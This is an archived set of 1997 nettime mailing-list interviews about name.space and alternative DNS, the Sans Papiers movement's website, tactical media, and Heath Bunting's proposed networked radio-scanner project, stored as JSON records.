{
    "Interviews": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "f {AT} mediafilter.org (MediaFilter)",
                "id": "00094",
                "content": "\nThe following is an interview between Pit Schultz\n(pit {AT} icf.de) and Paul Garrin about name.space,\nart and tactical media.\n\n[unedited version]\n\nOriginally published in German on the TelePolis\nwebsite (www.heise.de/tp).\n\n\n\n>Pit Schultz:\n>\n>lets start:\n>1. You are an artist. you went deep into technology with\n>name.space, but this is not the first time you did it.\n>What, in general, does art have to do with media + technology,\n>and do how you define your place in it.\n>\n\n\nPaul Garrin:\n\nControl media and you control the public. Free media is a\nthreat to control.  As an artist, one strives to discover\nan effective means of working in any medium--and when that\nmedium is a mass medium, the key is to establish and sustain\nvisibility.  If there is no support system to guarantee reliable\ndistribution, the work disappears.\n\nOne of the main concerns in my work has been the notion of\nthe public vs. the private.\nTerritory. Security. Privacy.\nAnd the way that \"the media\" manages the perception of the public.\n\nThese things have always been of interest to me.\n\n\n>2. The net, nobody can overlook it, as it becomes something\n>mystical at the end of the millennium. One of the productive\n>questions which were brought into circulation through\n>name.space was: who governs the net? It was always\n>a tool of power to control the process of naming and even\n>more, names are the resistent part of language where\n>another semiotic regime takes place. Take religions, the\n>space of names is a spiritual one, the space of the dead,\n>ancestors, gods and ghosts. Today it is filled with brand\n>names. In which way were you reflecting the name.spaces\n>outside the net when you began with pannet and what was the\n>impetus for your decision to start 'playing' with the DNS system.\n\nA name is an essential and universal element.  On the net,\nthe uniqueness of the name is imperitive.  In capitalism, the\nidea of uniqueness means \"value\"...commodity.  One of the key\nelements of opression and control is to control the notion of\nidentity.  In the meme of the \"DOMAIN NAME SYSTEM\" (caps intentional)\nthe message is control, \"DOMINATION\", \"TERRITORY\".\n\nThe idea of the \"Permanent Autonomous Net\" dubbed the \"panet\"\ninitiative, was founded on the idea that in order to sustain\nand develop a presence for Free Media, it is imperitive establish\nand propogate an identity.   In order to assure the autonomy of the\ncontent, totally self regulating, without the control of commercial\ninterests, it is imperitive to buy the bandwidth--the only option\nto eventual disappearance of Free Media when the \"Disneyfication\"\nof media and the net is completed.\n[see my article \"the Disappearance of Public Space on the Net\"]\n\nTwo recent concrete examples illustrate this point.  An excellent\nwebsite, disinfo.com was started as a commercial project at TCI\n(Telecommunications, Inc., the largest cable tv provider in the\nUSA with heavy bets on the internet).  TCI had the perception that\ndisInformation was an entertainment site, like the \"X Files\".\nWhat they did was create a \"Radikal Search Engine\" and indexed\nmuch of the content of MediaFilter and other sites of alternative media.\nAs soon as John Malone saw what disinformation was really about, he\nordered the plug pulled immediately.  I then offered the site's\nfounder, Richard Metzger, a home on my network.  He had already hooked\nup with Razorfish.com, luckily.  Another is the CypherPunks.  The\nMillionaire's club, eff.org, the proverbial bastion of free speech on\nthe net recently kicked the Cypherpunks mailing list off of their server.\nSo much for their guardianship of free speech on the net.  (Autono.net\noffers Cypherpunks a new home if they see this...).\n\nThe Sponsors have their agendas and their limits to \"tolerance\".\nThe idea of what is \"authorotative\" and what is \"acceptable\" should\nnot be controlled by commercial interests.\n\nThe idea of decentralizing DOMAIN NAME SERVICE came when Network\nSolutions, Inc. announced that it would start charging $100US for\nname registrations.  When I studied the logistics of running dns,\nI realized that the limits on it were artificially imposed in order\nto limit supply and facilitate control.  The central database and\n\"whois\" records are all controlled by Network Solutions, Inc., who\nis a subsidiary of SAIC (Science Applications International Corp.),\nthe largest private contractor for the US National Security Agency\nand the Pentagon.  Most of the top corporate officers are former\nUS military personnel who have retired from service and are engaged\nin \"private practice\", including former NSA Chief, Bobby Inman, current\nDirector on the Board, putting their militarily-acquired skills to work\nfor profit.  In effect, when one registers and pays Network Solutions\nfor a domain name, they are also paying to maintain surveillance on\nthemselves.  Ask yourself.  Is this what you want?  Does it make you\nfeel comfortable?\n[see http://mediafilter.org/caq/CAQ59NetSpooks.html]\n\n\n>\n>3. After the insight you got into the technology of DNS,\n>what would it need to rebuild a DNS structure if Network-\n>solutions would shut down the '10 root-level-servers'.\n>(Any news about the connections to CIA?) Is it useful\n>to demand a backup which is not under the main\n>access of network solutions, and how should one do this?\n>\n\nFirst of all, Network Solutions has a contract with the\nNational Science Foundation which expires in 1998.  By that\ntime, many changes will have taken  place that will make their\ndisappearance a non-issue.  For now, Network Solutions controls\nan essential facility which keeps the entire internet in sync.\nIt is not immediately feasable or constructive to disrupt this\nfunction since it would be (at least temporarily) disruptive of\nthe net.  It is not currently feasable to change the entire internet's\nconfiguration of reference to the current rootservers without\nmajor disruption of service for several days to weeks--by the time\nthat everyone is informed and updated (and accepts the transition).\n\nRunning new toplevel names is not a difficult thing.  Its simplicity\nis almost obscene.  The issue of global recognition is the key.\nRight now, name.space lives as an intranet within the internet.\nLike a matter of perception, the recognition of name.space\nnameservers or not determines wheather name.space exists or not.\nLike changing channels--Removing the censorship filter.\nThis is a \"grassroots\" thing, and my favorite aspect of the\npotential of name.space--the individual's ability to choose\ntheir view of the net...Unregulated by commerce or government.\n\n\n\n>4. Name.space showed with the efforts and hard work of\n>a few people how effective a process of decision making\n>can bring about panic-results. (7 new tlds, 4. Feb.)\n>How can it remain possible that the internet is an open\n>standard, and in which way does IAHC already indicate the\n>dangers of the end of such a policy. How would you proceed?\n>Is it possible to open name.space from a few-man-project\n>to an object of collective mind work? Or do you see a way\n>to learn from it, despite the protocols of bind and DNS ?\n>\n\nThe proposal put forth by the International Ad-Hoc Committee\nis a mediocre attepmt to impose a set of controls and regulations\non the internet without any mandate to do so.  Their indecisive\narrogance is as outrageous as if GATT or NAFTA would have blatantly\nannounced their implemention straight out of the boardroom of some\nGloboCorp, Inc. without the painstaking international debate they so\nrequired. It will never happen.  It's legally impossible by current\ninternational law.\nThe internet is international and ideally, self-regulating and the\nreality is that market forces will determine the dyanmics of the\nnet.\n\nThe convention of DNS is not the issue presently--it's the scope\nof its possible implementation.  Name.space works with the existing\nDNS software and protocols, exactly.  There is no difference.  Name.space\nIS DNS...and about exploring the potentials of a free namespace.\nName.space, from its beginnings has always been a collaborative and\ncooperative project.  Most of the toplevel names were suggested by\nusers via a suggestion form on the name.space website.  The new\n\"Integral Database Synchronizer Daemon\" or \"idsd\" that name.space is\ndeveloping will enable the total decentralization of name registries.\nRegistering a named.address will like reserving a seat on an airline\nwith a travel agent.  No seat can be booked twice, and all agents\nshare the same database.\n\n\n>5. Many poeple complain that name.space did not work,\n>for me it is maybe the best net.art project I know of.\n>It shows to me how far art can go, and only as art does it evolve\n>as a full success. But even if you don't name it art,\n>it is obviously political. it works on the symbolic level\n>where naming as a technolgy of power takes place.  The deeply poetic\n>and subversive investigation of renaming the net-world, comes close\n>to playing with a technological state of madeness, where things and\n>names are spiraling in their own universe. How do you think it mimicks\n>what is already happening(in the net)? How much were you aware of these\n>levels?\n>\n\nName.space certainly works.  Anyone who says that it doesn't work\nhasn't tried it.  There is no excuse for such false criticism.\nName.space is not globally recognized currently, but that will\nmost likely change very soon.  Stay tuned....Meahwhile, anyone\ncan try it by changing their tcp/ip dns settings to the name.space\nnameservers in their area.  It currently functions as an intranet\nthat recognizes the whole net.  A different route for content.\nIt's about \"content routing\" rather than territory or control.\nAddresses created in name.space don't have to pertain to purpose\nor geographic location...the names combined with virtual domains\ncan be descriptive of content, and address web pages directly.\nThe \"black.hole\" project is an exmple of content routing with\nname.space addresses. (http://blackhole.autono.net or http://black.hole).\n\n>6. The economic question. How do anarchy, freedom and a radical\n>left worldview fit together with entrepreneurship within the\n>new 'cyber' markets? People from the left complain that\n>you have become a neoliberal, marketeers say that you are a\n>dangerous anarchist. It looks like a trap, but instead of\n>defending it here, what do you think is the problem on both\n>sides?\n>\n\nAnything which defies definition is a threat to order.  I have\nbeen called many things.  The speculative labels that make me\nlaugh the loudest are \"neoliberal\" and \"closet-extropian\"...\nHEHEHEHEHEHEHEHBEHE.\n:)\nThey don't have a clue.\n:)\nthat's the funniest part.\n\n>7. The fight is not over, you may go to court. Wouldn't\n>it be better to reach a kind of counter-consensus on the net\n>and see what comes out of it instead of following the policy\n>of MCI vs. AT+T as a one man show of pgMedia against the\n>net oligarchists? Wouldn't it be more clever to find a bottom\n>line of criticism surviving the Blitz-reform introduced\n>by IAHC to neutralize counter-movements? Along which lines\n>you would start if you would open the discussion, taking the\n>practise of Alternic and DNS as the backdrop.\n>\n\nYour suggestions will not work. In the \"practical\" world,\nthings do not work out as nicely as one would write them up\nin a proposal.  There are ways to use the controls of the system\nto cause it to regulate itself by ways that it never intended,\ngiven that they always assumed a hierarchy of government-and-\nmilitary-style order.  The people are always supposed to follow that\nwithout question.  In this case, the fact that there is no\nregulation or clearly defined authority over the determination\nof the toplevel namespace, makes it possible, through corporate law,\nto establish a competitive structure to the current monopoly and\ntherefore invert the hierarchy, and better yet, eventually totally\ndecentralize it without degrading the integrity of the synchronicity\nof the dns or internet directory service.\n\nThere is an essential difference between Alternic and the so-called\n\"newdom\" movement.  The newdom movement wants to break up the internic\nmonopoly held by Network Solutions, Inc., by creating many micro-monopolies.\nIn the Alternic/newdom model, each private registry company would\nown the exclusive rights to generic dictionary words like \"web\" or \"art\"\nor \"earth\" among others.  Any other registries would have to first buy\nthe name from the \"owner\" and then resell it as a product or property.\nThis is absurd.  It's about the privatization and commodification of\nlanguage.\n\nThe name.space model creates an expansive toplevel namespace that\nis in the public domain.  The toplevel namespace is not owned by\nanyone and is to be shared even by competing registries.  The\nregistries provide a service in the public interest and trust and\ndo not \"sell property\".  Toplevel names can come and go according to\nuse, like a natural process.  If there is demand for even one\ntoplevel which can be shared by the public, then it will be created\nas long as the current version of the software can handle it.  If there\nis no longer demand, it can be \"retired\" in order to free up space\nfor other new toplevel namespaces which may come into being.\n\n>8. The net is based on the ethics of 'running code'. No admin\n>would chance it as long as it works 'somehow'. NS is based on\n>a revolutionary instead of an evolutionary, or a parasitical\n>instead of a symbiotic, concept. It is somehow breathing\n>the air of war, and risking a net-split. How far you were\n>thinking this? And do you think that there could be a smoother\n>version of it?\n>\n\nThe concept of a net-split is being propogated by a few\nindividuals who lack understanding of name.space.  The current\nmode of name.space, as an intranet, is a demo, to prove that\nsuch naming conventions and content routing is possible.  It's\nalready been proven beyond a doubt.  The next step is to have all the\nname.space toplevel names included in the root.zone file of the\nrootservers currently under the administration of Network Solutions, Inc.\nThis will be resolved in the US Courts as an anti-trust action\nbased on existing precedent and case law.\n\nThe letter requesting inclusion of the name.space roots in the\nNetwork Solutions rootserver databases has already been delivered\nto NSI and I have already spoken to their General Counsel on the\ntelephone, in conference with the Internet Business Manager of\nNetwork Solutions and my legal counsel, Michael J. Donovan.\nOur request was a friendly one from a competing comapny, asking\nfor inclusion in the root.zone file.  NSI denies their\nrole and responsibility and said \"We do what they tell us\nto do\" (IANA)....but also admitted that they have no written\ncontract which names IANA as the party responsible for determining\nthe contents of the root.zone file.  Stay tuned......\n\n[the case has since been filed in US Federal District Court in NYC...\n see http://name.space.xs2.net/ns./legal.html]\n\n\n>9. There where several counter concepts. One was starting\n>on one new tld (like BIZ) another was squatting unused tlds\n>(NT) another was a Rename-the-net project (more artistic).\n>Technicians are saying it will only change together with\n>new ways of routing (ipv6) and prepare us for Lap500 directory\n>services. I thought about NS more like an Intranet with its own\n>Ip space and therfore also DNS. Do you think that once it\n>becomes necessary to start an independent technical counternetwork,\n>and do you have statistics about how many sites would partipate?\n>And again, how you would build up a net where these people are\n>bringing their forces together instead of falling into\n>another hierarchy?\n>\n\nThe expansion of the ip address space and the potentials of\nDNS are two totally separate issues.  In fact, with the use\nof virtual domains, it is possible to free up many ip addresses\nthat are used unnecessarily as hard virtual domains for websites\nand email.  One Sun Sparc can such up an entire class \"c\" net\nwith 255 ip addresses!  I have a mac running WebStar and a\nLinux Box running Apache which have scores of virtual domains\nwhile using only one ip address each.  Much more efficient use of\nip numbers, one could say.\n\nName.space is part of the internet. It is also the future of\nthe named.address structure of the internet.  As an independent\ntactical network, it is a system which will create an economic\nbasis for free media to remain on line without corporate or\ninstitutional regulation or censorship.  The goal of name.space\nis to buy as much bandwidth and processor power as possible\nto insure that there is always a home for free media and\nalternative voices and visions on the ever changing internet.\n\n\n>10. Maybe this is a question you want to pose to us. \"Why didn't\n>we participate?\" For any of us, NS was a conceptual piece,\n>we spent hours over the last weeks discussing it, and with it,\n>the use of radical political/technical concepts, let's\n>say revolutionary ones within the context of networked\n>capitalism. We found that, especially with those technicians\n>who are net-conservativists, it was difficult to accept a completly\n>new system while theorists liked the idea, but didn't know how and if\n>it works at all. What do you think attracted so many people to think\n>and so few to act (in a technical way)?\n\n\nIt is a cliche' that people are in fear of change.  DNS is a holy\ncow to network operators.  If it works, don't touch it...and forget\nabout it if you can...one less thing to deal with.  It's the one\ncentralized aspect of the internet.  Big Brother will watch over us\nand protect us.  That is the easy way out.  The so-called \"hacker\"\ncrowd mainly shuns name.space because it was implemented by an\n\"outsider\", an artist, not a \"hacker\".  None of them have any concept\nof law or have the insight to engage on the level that I have, nor\ndo they have the strategic legal, econonmic and public relations\nconcepts that I have engaged successfully so far\nin the name.space initiative.\n\nThey suffer from simple adolescent jealousy.  Too bad.  They are a\nwasted resource when it comes to autonomy and political action.\nI am very disappointed with them in general for their lack of\nmaturity and foresight.\n\nThe theorists have good reason to be interested since name.space\nhas so many symbolic implications.  The problem is that name.space\nis about _real_action_ which requires the responsibility to act on\nones propositions and suffer the consequences or reap the benefits,\nwhichever prevails.  Certainly not as safe as plain old ASCII.\nIt becomes another dilemma for them wheather to think or to act,\nor how to reconcile thoughts into action.\n\nIn all, the idea of Tactical Media in practice becomes the issue.\nThis is a subject that we have all been  engaged in discussion over\nfor many years, but very few have put into practice.  My problem is\nthat I am a simple practitioner.  I can write about things, but only\nseldom, when I can find the time in between all the actions necessary\nto actually realize the ideas in my head through real implementation...\nand the struggle to pay for it all.\n\nfor more info, please read my essay,\n\"Say you want a revolution....\"\n[http://mediafilter.org/ZK/Conf/Conf_Email/February.16.1997.04.55.27]\namong others.\n\nI'm tired....have to sleep.\n\nPlease let me know if you need more comments.\n\nregards,\n\nPaul\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 13 Jun 1997 03:54:51 -0400",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "1345948458&#45;1567694 {AT} MediaFilter.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00094.html",
                "list": "nettime_l",
                "author_name": "MediaFilter",
                "subject": "<nettime> Pit Schultz Interview with Paul Garrin"
            },
            {
                "id": "00077",
                "content": "\nInternet and Xenophobia\nAn Interview with Marc Chemillier\nWebmaster of the Sans Papiers Movement\nBy Geert Lovink\n\nAt Hybrid Workspace, Documenta X, Kassel\nJuly 3, 1997\n\nGeert Lovink: When did you start the website of the Sans Papiers movement?\n\nMarc Chemillier: The movement started on march 18th 1996 and the website\nwas up in july, so a few months later. I had this idea because I felt we\nwere lacking information about their actions, meetings and demonstrations.\nIn the summer of 96 the media began talking about Sans Papiers.\nI wanted to give the full information. Before, faxes were used\nintensively, mainly for the national coordination, to communicate with\nother Sans Papiers groups in other parts of France. But only after the\neviction of the Saint Bernard church they themselves began producing\nsome newspapers.\n\nGL: One would not associate a movement of 'illegal' immigrants with the\nuse of computers. How do you see the relation between the Sans Papiers\nand the Internet?\n\nMC: Computers seem very far away from the situation and the cultures of \nimmigrants. But they understand very well how the computer can help\nthem and they agreed completely with what I proposed at the time. One\nof their representatives, Babacar Diob, is himself a computer developer.\nWhen I began, I hoped that we would receive some messages from Africa but\nit did not work out.  Those African people who are connected to the\nInternet do not feel any solidarity with the Sans Papiers, who were\nseeking refuge in a church in Paris. One of the answers we got was: \"I\ndon't care about French people. They don't want us to go to their country,\nand I am working in Canada or America, so I don't care.\" The people who\nhave Net-access in Africa have money and visa. The problems of the Sans\nPapiers do not concern them.\n\nThe website now has two parts: the webpages and a mailinglist. The\nlist is managed by a person from the newspaper 'Le Monde Diplomatique'.\nThe website is private and runs from a server in San Francisco. The\nmailinglist has 300 subscribers and the site has about 1000 pages. In\nthe beginning it was mainly information from the Sans Papiers, press\nreleases and also material from the \"College des Mediateur\", a group of\nwell known people who wanted to help the Sans Papiers. Then people on\nthe Internet contacted me and offered to help me.\nThe website is built in circles: in the middle are the 300 people in the \nchurch, then the College des Mediateurs and the next one are all the\npersons involved in this issue, like the government. The fourth circles\ncontains articles about the politics of immigration (in France). The fifth\none deals with immigration in other countries.\n\nGL: Why aren't the people themselves making use of computers?\n\nMC: It's not so easy. It is a technological instrument and the Sans\nPapiers from Saint Bernard church have got nothing, very little money.\nBabacar Diob wrote a book about Sans Papiers and from the revenues he\nbought a computer and now got onto the Internet. He is the only person\ndoing the communication between the virtual world and the world of the\nSans Papiers. The other members got printed parts from the Web. We put a\nprint-out of all the messages that were sent to the website on a wall of\nthe place where the immigrants are living.\nThe web is important to provide people with basic information, like about\nthe laws. If you ask people a question about immigration, they will say:\n\"There are too many immigrants.\" But they cannot tell you any figures. The\nfact is that only a few people in France are (yet) using the Internet.\nBut together with video, papers and pampflets, it might work.\nThe movement itself is multi-lingual. France do not want immigrants, but\nthey are using the French language as an intermediate. There are many\nAfrican languages spoken by the Sans Papiers. On the website we try to\nmake a maximum number of translations available. Some of the pages are\ntranslated in more than ten languages. People are contacting us through\nthe Internet and offer us to translate documents into Italian, Polish\nor Svahili.\n\nGL: Many people in Europe, especially older intellectuals, seem to be\nsceptical about the use of the Internet. Do you encounter this also in\nyour work?\n\nMC: Recently, I read some of the texts you are refering to, and I\nbecame confused about the Internet. I am wondering to what extend the\nInternet is contributing to the current xenophobia. When I am working\non the website, I am alone with my computer. It is certainly something\nwe have to have a closer look at. I am not sure what we can take from\nthe Net, from a general tactical position. It's really open for me.\nJacques Derrida recently wrote about the tension in the contemporary\nworld. On the one hand, people can communicate so fast and so easily.\nThe xenophobia in France or in Germany, on the other hand, seems to be\na reaction against the speed of the television, the airplane and the\nInternet. But he is not very pessimistic about it. This reaction to\nthis open world is temporary and local and not so important.\n\ne-mail: marc {AT} info.unicaen.fr\nThe Sans Papiers movement:    http://www.bok.net/pajol\n\n(edited by Patrice Riemens)\n\n-----------------------------------------------------------------\n\nInterview with Geert Lovink\nBy Marc Chemillier\nRecorded in Kassel on the 4th of July, 1997\n\n*  Could you explain in a few words what does it mean, \"Hybrid WorkSpace\"?\n\nGeert Lovink: We are here at Documenta, which is a very large art\nexhibition, and it was the choice of Documenta, Catherine David, and the\nnew Berlin Biennale to make a space together where not art is exhibited,\nbut which is a \"workspace\". I mean : the name says it all. I chose eleven\ngroups to work here in a three month period, and they all work here on\ndifferent themes like migration, racism, cyber-feminism, independant media.\nA group will come here to make radio. A group will come here to discuss the\nrelation between art and science, looking at biotechnology and\ngenetechnology. So a lot of things will happen here, and some of them will\nbe more like research, other will be more like campaign, political\ncampaign, other will do more like discussions, debates, but it's not an art\nexhibit way you just show works of art. It's different. It's producing\ncontent. And it's much related to the Internet, because the half of the\nproject is about the debate between what is going on here and the Net.\n\n*  Ok, but why do you call this \"hybrid\"?\n\nBecause we have the situation between social space here, real space, and\nInternet, which is cyber-space. In our definition of media, we have a lot\nof different media we are using. Every week we make a radio program, we are\nusing a lot of video, we are producing text pamphlets papers, and all of\nthem in a hybrid way, linked together. So it's like hybrid media. That's\nwhere it actually comes from, the idea \"hybrid media\".\n\n*  In what sense do you think hybrid media can help social struggles?\n\nI think it's very important to work with a hybrid definition of media, not\nto believe in the one media which will determine all others, like in the\npast intellectuals believed in the word. They believed in the written word,\nand the spoken word. They believed that a discourse was everything. And\nnowadays, people believe that image is everything. So if we, let say,\nconquer TV, then we will conquer the consciousness of the masses. We don't\nbelieve this. We don't believe in images. We don't believe in texts. We\nbelieve in our own very specific hybrid use of the media situation, and not\ngiving one medium so much power. Maybe also we want to criticize media\npower as such.\n\n*  Has it some relation with what you call \"tactical media\", and could\nyou explain in what sense?\n\n\"Tactical media\" is a word which came up in early nineties. Maybe as a\ncritic on alternative media idea, \"aletrnative media\" meaning \"we have good\ncontent, we have good propaganda, we are right\". Because we have the good\narguments, we have the good informations. So what's wrong? What goes wrong?\nEverything went wrong with that concept, because it created ghetto. It\ncreated an isolated information ghetto. The information did not actually\nspread. So there was a crisis in the concept of alternative media. You can\nsee that in many different movements. With the idea of tactical media, we\nmean that you can switch platform. Sometimes you work with national TV,\nsometimes you make a pamphlet with only a hundred copies. We treate those\nthings the same. It's not that national TV is much more important that our\nown pamphlet. No, we switch for each situation, we try to see what is the\nbest media mix. Maybe it's only a conversation between you and me. Or maybe\nfor a radio station, somewhere. That defines your tactic, where you are,\nagainst dogmatic use of media.\n\n*  If I remember well, in your text about tactical media, you spoke\nabout a \"world of migrants\". You said the world is becoming a world of\nmigrants. Could you explain this, and explain the relation between this and\ntactical media?\n\nIt has to do a lot with that the information is becomming very fluid, and\nthat we are also like in the Net. The information is travelling. It's not\nso much anymore located to one specific place. So the information about\nsans-papiers is travelling all over the world. Like the people also. It's a\nrumeur that is spreading. And I can tell you here that I saw the first\nvideo of sans-papiers in Tokyo. When I was in Tokyo, of course I knew about\nthe movement, but I saw the video for the first time in an activist\nconference there, where people discussed the media tactics of sans-papiers\nmovement, and your works also was discussed there in Tokyo, and the\nrelation between the sans-papiers movement and the homeless people in the\nShinjuku Station in Tokyo, which is also a movement that is more and more\nusing hybrid media, a lot of different media, which is suiting their\nspecific situations. So in this way, the information is travelling,\nmigrating, with the people.\n\n*  And are you optimistic or pessimistic about the future of such\nmedia, and the way they can change our lives?\n\nI hope the media will become less and less important. Because I am very\nmuch concerned about media power and the monopoly. So if we can try to\ndisseminate media, and lead to democratisation of media, media themselve\nwill become less important. They will become more part of daily life. And\nwe can maybe hack or maybe we can squat the importance of this. This is\nsounding maybe a little bit utopian, but this is, I think, our ultimate\ngoal. Not maybe the abolition of media as such. I think we always want to\ncommunicate in one way. But the symbolic power now is growing so much, and\nthis power is in so few hands, like Time Warner, CNN, et caetera, that we\nshould break that power. Not only by critizing it, it's economy. Not only\nby making an alternative to it. But I also think by just spreading, opening\nall kind of channels, for everybody, and try not to speak any longer for\nthe people, but let the people themselve speak. I think that's a very\nimportant switch that we make, that we try to give power to people by\nlearning them how to use media and technology. I think that's the ultimate\naim.\n\n\n*  And what do you think about the thesis we discussed yesterday, which\nsays that the new technologies are related to xenophobia, and that they are\nnot developing communication between people, but they develop isolation of\npeople, alone with their computer?\n\nThe isolation is definitely taking place in the WorkSpace. So if we see the\ncomputer as part of a restructuring of the labor force, then it's\ndefinitely sure that people not only loose their jobs, but loose income. So\nthey will earn less money, they will work for more hours, and they will\nhave more flexible hours, meaning working basicaly always, always being\navailable. The technology is actualy facilitating us with that: the instant\navailability of the labour force. So you can never say \"oh I'm not at\nhome\", because you are controled by small camera, maybe the spead of your\ntyping is controled. In that way there is a huge controle and yes,\nisolation. But I think social movements can definitely use the same\ntechnology to break it. But then it should go with real life meetings. We\ndon't believe in just virtual cities, huge web sites. We believe that it\nshould be hybrid, with the real life meetings like between us now, here, in\nKassel, the link between Kassel and Paris we are making now, and Amsterdam,\nand many more places. And we use that communication to establish those\nlinks between people.\n\n\n*  And what about the relation to xenophobia, Internet and xenophobia?\n\nI don't see that. Internet is much more fluid. Xenophobia is just one\nphenomena, or one response to that technological shift, technological\nrevolution as some may call it. It can also be anti-european, it can be\nanti-american. It's not necessary against foreigners or Africans. It  can\nlook for any kind of victims. Maybe it's now focused on Africans, but it\ncan very easily move against the poor, or next time against unemployed\npeople. And that's just very much the political climat. I think this\ndepends very much on how politicians are dealing with this. And I must say\nnow that in this political climat it's very easy to make a relation between\ncomputer and xenophobia, because the politicians are encouraging this.\n\nRelated sites:\n\nhttp://www.documenta.de/workspace\nhttp://www.waag.org/tmn\nhttp://thing.desk.nl/bilwet\nhttp://www.desk.nl/~nettime\nhttp://www.contrast.org/\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00077.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> double interview: Marc Chemillier (Sans Papiers) and Geert Lovink (Workspace)",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [],
                "message-id": "199707231005.MAA07249 {AT} xs2.xs4all.nl",
                "date": "Wed, 23 Jul 1997 12:05:27 +0200 (MET DST)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "jesis {AT} xs4all.nl (j bosma)",
                "id": "00116",
                "content": "\nThis interview was made in march 96 and concerns a project\nheath bunting proposed to make for the conference Next5Minutes,\nwhich dealt with art, politics and tactical media. N5M, as it\nis called in short, was held in januari of that year. \n\nYou can still find information about this conference at\nwww.dds.nl/n5m\n\nheath bunting:\nwww.irational.org\n\n\nJB: Can you tell us what you wanted to do for Next5Minutes?\n\nhb: The big idea was to create the first section of the \nunderground secret service and this would be a radio listening\npost in a proposed series, covering the world, linked together\nvia the internet, enabling people to listen to and monitor\nradiotransmissions remotely. This could be pirate transmissions,\npolicetransmissions or any kind of radiotransmissions. It seems\na shame that large governements and legitimate state secret \nservice have their own networks and the underground always seems \nto be the victim of these. It would be quite poetic to reverse \nthis, I imagine. \nThings that would be required would be a computercontrollable \nscanner, a small pc, a bit of glue software, total cost about\na thousand pounds. This would have to be installed somewhere on \na vast network somewhere within the city. Central is better.\n\nJB: What kind of network do you mean? I don't understand.\n\nhb: Well, the main problem people have with getting connected to \nthe internet is that they want it to their premises, at home or\ntheir business, whereas this would only have to reside somewhere\nin the city, because the radio would do the local carrying.\nSo for instance you could put the internetscanner in a advertising\ncompany or so, if they allready have a fast link, so you wouldn't \nhave to lay a leased line to a specific receiver. You could just \ntack it on to an existing network. \n\nJB: What is this glue software?\n\nhb: Its just a piece of software that would take audio from the \nscanner, pass it through the computer, digitise it and place it \nonto the internet to people that want to receive it. Very simple \nsoftware, it can be written in 5 minutes by experienced hackers. \n\nJB: But was it written? \n\nhb: It was half written. A collegue of mine who was enthusiastic \nabout the project set to work straight away, in visual basic, on \nhis pc.\n\nJB: And why wasn't it finished?\n\nhb: We ran out of time, because it was christmas, and nobody works \nat christmas. Also money. It was suggested to me we could run an \nentire local radiostation for a year on such a budget. But I think \nwe could probably obtain the equipment. \n\nJB: But wouldn't it be so that only one listener at the time could\ncontrol the tuner?\n\nhb: Only one could control, but many could listen. As I said it \nwould be a kind of elite underground listening post, and hopefully \nmany would grow around the world, so people would have their choice. \nIf one was occupied they could listen somewhere else. Its not really \nfor entertainment, its more strategic. \n\nJB: You could tune into any bandwidth you would want to as well?\n\nhb: Yes, it would be good to have a scanner that would cover all \nthe spectrum. We don't really want to dictate whether people should \nlisten to piratemusic or whether they should listen to military \nbroadcasts or cellular phones, whatever.\n\nJB: This can not be a serious threat to the governement can it?\nIs it a joke?\n\nhb: It is a serious threat to be able to operate in the same media \nas repressive organisations. \n\nJB: It is just a serious threat because you are present, which you \nweren't before?\n\nhb: It is a serious threat because you can demonstrate that you \nunderstand how they operate and that either by action or just by\nword you can reverse or reflect their own ideology. For instance,\nslightly different to radio, most of my international mail is\nopened. Specifically when it comes from Japan it is very carefully \nopened and the aperture is made very delicately and reinforced with\ncellotape for the insertion of a videocamera. So I was thinking it\nmight be nice to make a whole series of envelopes with prelubricated\napertures, clearly marked for the assistance of the secret service.\nIt would just say: \"Please inspect contents here\", for instance.\nI like to imagine peoples experience of these projects. \nSo, if you can imagine somebody who's job it is every day to cut open  \nan envelope, reinforce it with cellotape and then pass it on to their\nsuperior who will inspect it, can you imagine the first person going\nto the superior saying: \"Oh, this one's allready been done! And its\ngot instructions on it.\" \nI think that would be quite funny.\n\nJB: So you're just teasing them actually.\n\nhb: Seducing. Those two people will know that somebody is playing a \ngame with them. And hopefully it will awaken them a little more to\nwhat they are doing. Make them think.\n\nJB: Are you an idealist?\n\nhb: No, I am not an idealist. Maybe a poly-idealist (laughing).\nNo, ideals always end in violence and I don't like violence very\nmuch. It makes me scared. \n\n\n\n\n*********************************************************************\n\n\n\nJB: The remote scanner might still be developed. \n    Time and money required.\n\n\n\n\n*\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Thu, 20 Mar 1997 21:24:15 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "af573af200021004bc26 {AT} [194.109.45.162]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00116.html",
                "list": "nettime_l",
                "author_name": "j bosma",
                "subject": "<nettime> scanner project interview heath bunting"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00044",
